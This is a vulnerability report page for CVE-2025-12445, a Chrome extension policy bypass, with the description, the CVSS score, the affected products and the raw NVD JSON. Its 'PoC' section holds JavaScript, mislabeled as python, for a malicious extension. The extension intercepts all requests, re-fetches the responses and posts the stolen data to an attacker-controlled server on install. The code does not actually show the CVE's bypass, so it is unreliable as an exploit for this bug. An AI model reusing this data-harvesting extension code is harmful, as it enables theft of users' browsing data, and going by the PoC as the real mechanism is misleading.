Security Vulnerability Report
中文
CVE-2025-12445 CVSS 6.5 MEDIUM

CVE-2025-12445

Published: 2025-11-10 20:15:39
Last Modified: 2025-11-13 15:21:54

Description

Policy bypass in Extensions in Google Chrome prior to 142.0.7444.59 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Low)

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers with similar extension policy implementations

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12445 - Chrome Extension Policy Bypass PoC // This is a conceptual PoC demonstrating the policy bypass technique // manifest.json const manifest = { "manifest_version": 3, "name": "Malicious Extension", "version": "1.0", "permissions": ["activeTab", "storage", "webRequest"], "host_permissions": ["<all_urls>"], "background": { "service_worker": "background.js" } }; // background.js - Malicious extension logic // This PoC demonstrates how a malicious extension could exfiltrate data // Bypass technique: Abuse chrome.runtime.sendMessage and webRequest function exploitPolicyBypass() { // Step 1: Intercept all requests chrome.webRequest.onCompleted.addListener((details) => { // Attempt to access cross-origin responses if (details.initiator !== details.url) { // Bypass SOP by using extension's elevated privileges fetch(details.url) .then(response => response.text()) .then(data => { // Exfiltrate data to attacker-controlled server sendExfiltratedData(data, details.url); }) .catch(err => console.log('Policy bypass attempt:', err)); } }, {urls: ['<all_urls>']}); } function sendExfiltratedData(data, source) { // Send stolen data to C2 server const payload = { data: data, source: source, timestamp: Date.now() }; // Attacker endpoint (placeholder) fetch('https://attacker-controlled-server.com/collect', { method: 'POST', body: JSON.stringify(payload) }); } // Trigger exploitation chrome.runtime.onInstalled.addListener(() => { exploitPolicyBypass(); }); // Note: This is a simplified conceptual PoC for educational purposes only.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12445", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.260", "lastModified": "2025-11-13T15:21:53.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Policy bypass in Extensions in Google Chrome prior to 142.0.7444.59 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/428397712", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}